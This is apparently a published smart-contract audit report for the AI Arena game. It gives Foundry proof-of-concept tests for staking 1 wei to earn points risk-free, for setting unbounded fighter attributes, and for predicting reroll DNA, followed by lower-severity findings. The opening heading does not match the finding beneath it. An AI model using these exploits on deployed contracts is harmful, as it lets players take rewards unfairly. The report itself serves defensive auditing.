AI Arena - Blank_Space's results

Judge has assessed an item in Issue #1661 as 3 risk. The relevant finding follows:

#[L-03] Players can update the fighterType due to lack of validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

Impact

A player could earn 750 points by staking a single wei of NRN tokens due to the fact that the curStakeAtRisk calculation truncates the results of small staked amounts. This means that the player can play for virtually risk free staking amounts and earn points.

A player can stake an amount between 1 and 999 wei and get 750 points due to the fact that the following calculation will truncate thecurStakeAtRisk which will result in zero: curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10 ** 4;.

Proof of Concept

Note that the coded POC will run as is in RankedBattle.t.sol.

1. Player stakes 1 wei
2. Player battles
3. Player gets 750 points

function testStakeNRNPoc() public {
        address staker = vm.addr(3);
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);
        assertEq(_neuronContract.balanceOf(staker) >= 4_000 * 10 ** 18, true);
        assertEq(_fighterFarmContract.ownerOf(0), staker);
        assertEq(_neuronContract.hasRole(keccak256("STAKER_ROLE"), address(_rankedBattleContract)), true);
        console.log("Points before: ", _rankedBattleContract.accumulatedPointsPerAddress(staker, 0));
        
        // stake 1 wei
        vm.prank(staker);
        _rankedBattleContract.stakeNRN(1, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 1);

        // call updatebattle record as a win
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        // assert player points are 750
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(staker, 0), 750);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider using safeTransfer in the _addResultPoints function, which will revert on zero transfers.

Code reference: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L493

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L142

Vulnerability details

Impact

A player can set custom attributes when the claimRewards function is called. This means that the player can affect the weight and element of a fighter netting an overpowered fighter with a higher chance of winning, which will result in gamified earnings.

Once a player earns a new fighter through the MergingPool the admin calls pickWinner which allows a player to call claimRewards. The player can then set a custom weight and element for their fighters. Referring to the POC below, we were able to set a weight at type(uint256).max which contradicts the comment from the developer “so in our game, we bound the weight to be between 65 and 95". It’s worth noting that physical attributes can be set as well, but will be overridden in _createNewFighter.

Proof of Concept

The coded POC will run in MergingPool.t.sol as is.

function testSetAttributes() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        _mintFromMergingPool(vm.addr(4));
        _fundUserWith4kNeuronByTreasury(player);

        uint256[] memory win = new uint256[](2);
        win[0] = 0;
        win[1] = 1;
        _mergingPoolContract.pickWinner(win);

        uint256[2][] memory attri = new uint[2][](2);
        string[] memory types = new string[](2);
        for (uint i = 0; i < 2; i++) {
            attri[i][0] = type(uint256).max;
            attri[i][1] = type(uint256).max;
            types[i] = "original";
        }
        string[] memory uris = new string[](2);
        uris[0] = "something";
        uris[1] = "other";

        vm.prank(player);
        _mergingPoolContract.claimRewards(uris, types, attri);
        (,,uint256 weight1,,,,) = _fighterFarmContract.getAllFighterInfo(2);
        assertEq(weight1, type(uint256).max);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Add restrictions to the custom attributes. The best possible solution would be to use chainlink VRF and give the winners fighters with random stats.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379

Vulnerability details

Impact

A player can manipulate the weight and element of their fighter through the dna calculation. This results in a fighter with better stats and, thus a higher win rate. A higher win rate will nett a player more points, thus more claimable NRN tokens.

Referring to the dna calculation:uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); The dna affects the weight and element of the fighters via the _createFighterBase function. The player could simulate the numRerolls function to predict at which reroll the fighter will receive the highest stats . This can be compounded by using claimFighters where you can wait for the optimum fighters.length value as shown here: uint256(keccak256(abi.encode(msg.sender, fighters.length))). This means that the player can check at what fighters.length they will have the strongest fighters and claim at that point.

Proof of Concept

This coded POC will run in RankedBattle.t.sol as is. It shows the result of every possible reroll before the user calls the reRoll function.

function testDnaManipulation() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);

        (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

        console.log("Owner Addr: ", player);        // 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
        console.log("Original Weight: ", weight);   // 80
        
        uint256 bestWeight = weight;
        // arbitrary huge number
        uint256 bestReroll = 99999;        
        for (uint256 i = 1; i < 4; i++) {
            // How DNA is calculated
            // uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            uint256 expectedDna = uint256(keccak256(abi.encode(player, tokenId, i)));

            // How weight is calculated
            // uint256 weight = dna % 31 + 65;
            uint256 expectedWeight = expectedDna % 31 + 65;
            if (bestWeight < expectedWeight) {
                bestReroll = i;
                bestWeight = expectedWeight;
            }
        }
        console.log("-----------------------------------------");
        console.log("BEST REROLL: ", bestReroll);
        console.log("BEST WEIGHT: ", bestWeight);
        console.log("-----------------------------------------");

        // if rerolling is even worth it
        if (bestReroll != 99999) {
            uint8 fighterType = 0;
            _neuronContract.addSpender(address(_fighterFarmContract));
            for (uint256 i = 1; i < 4; i++) {
                vm.prank(player);
                _fighterFarmContract.reRoll(tokenId, fighterType);
                (,,uint256 newWeight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

                console.log("Actual Reroll: ", i);
                console.log("Actual Weight: ", newWeight);

                if (bestReroll == i) {
                    assertEq(newWeight, bestWeight);
                }                
            }
        }
    }

Console output:

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testDnaManipulation() (gas: 768589)
Logs:
  Owner Addr:  0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
  Original Weight:  80
  -----------------------------------------
  BEST REROLL:  2
  BEST WEIGHT:  82
  -----------------------------------------
  Actual Reroll:  1
  Actual Weight:  67
  Actual Reroll:  2
  Actual Weight:  82
  Actual Reroll:  3
  Actual Weight:  69

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.28ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

Use Chainlink’s VRF to randomize the DNA values

Assessed type

Math

#[L-01] Missing length check for iconsTypes

The redeemMintPass function does not include the iconsTypes array in its sanity length checks. This could cause an unintended revert. Consider adding this check as per the diff:

require(
            mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length
                && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length
++ && iconsTypes.length == modelTypes.length
        );

Location: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L243-L248

#[L-02] The claimRewards function does not validate the lengths of the parameter arrays

There could be unintended reverts in claimRewards due to the fact that the function relies on the input array lengths to be the same (as the index positions are compared), but does not validate this fact. Consider adding a sanity check that compares the array lengths.

++ require(modelURIs.length == modelTypes.length, "array length mismatch");

Location: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

#[L-03] Players can update the fighterType due to lack of validation A player can change the fighterType by calling reRoll. The reRoll function takes two parameters namely tokenId and fighterType, but the function doesn’t compare what the existing fighterType was. Which means that a player could reRoll their fighter type if they choose to do so. It will also skew the physicalAttributes of the fighter as the function will call createPhysicalAttributes with a false dendroidBool. Consider retrieving the fighterType from the fighters object in stead of passing it as a parameter.

Location: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

#[L-04] The incrementGeneration function increases the maxRerollsAllowed per fighter type

The incrementGeneration function increments the generation per fighter type, but it also increases the maxRerollsAllowed for every generation increase, thus the new generation fighters will get an added re-roll every time incrementGeneration is called. Also consider that any existing fighter will gain a re-roll with each generation increment with reference to this line in the reRoll function: require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); as re-rolls are checked on a global level. Consider adding a function that is callable by the owner to specifically increment the re-rolls:

   	/// @notice Increases the maxRerolls for all fighters
    /// @dev Only the owner address is authorized to call this function.
    /// @param fighterType Type of fighter either 0 or 1 (champion or dendroid).
    function incrementMaxRerolls(uint8 fighterType) external {
        require(msg.sender == _ownerAddress);
        maxRerollsAllowed[fighterType] += 1;
    }

Location: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134

#[L-05] Admin role changes should be Two step

The owner is extremely powerful in this protocol, but the transferOwnership function in various contracts listed below implements a change of ownership with no validation which could be dangerous. Consider implementing a two step “push” and “pull” admin transfer process such as the OpenZeppelin Ownable2Step.sol library,https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol

Locations:

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L61-L64

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L120-L123

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L108-L110

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L89-L92

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/Neuron.sol#L85-L88

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L167-L170

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/VoltageManager.sol#L64-L67

#[I-01] Missing natspec for icontypes inredeemMintPass

The redeemMintPass function is missing natspec for iconsTypes . Please consider adding the natspec for the parameter to improve the completeness of the documentation.

Location: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233

#[I-02] The following functions do not emit events for storage updates:

AiArenaHelper.sol

• transferOwnership
• addAttributeDivisor
• addAttributeProbabilities
• deleteAttributeProbabilities

FighterFarm.sol

• transferOwnership
• addStaker
• instantiateAIArenaHelperContract
• instantiateMintpassContract
• instantiateNeuronContract
• setMergingPoolAddress
• setTokenURI
• claimFighters
• redeemMintPass
• updateModel
• mintFromMergingPool
• reRoll

GameItems.sol

• transferOwnership
• adjustAdminAccess
• instantiateNeuronContract
• setAllowedBurningAddresses
• setTokenURI

MergingPool.sol

• transferOwnership
• adjustAdminAccess
• updateWinnersPerPeriod
• pickWinner

Neuron.sol

• transferOwnership
• adjustAdminAccess

RankedBattle.sol

• transferOwnership
• adjustAdminAccess
• setGameServerAddress
• setStakeAtRiskAddress
• instantiateNeuronContract
• instantiateMergingPoolContract
• setRankedNrnDistribution
• setBpsLostPerLoss
• setNewRound
• updateBattleRecord

StakeAtRisk.sol

• setNewRound

VoltageManager.sol

• transferOwnership
• adjustAdminAccess
• adjustAllowedVoltageSpenders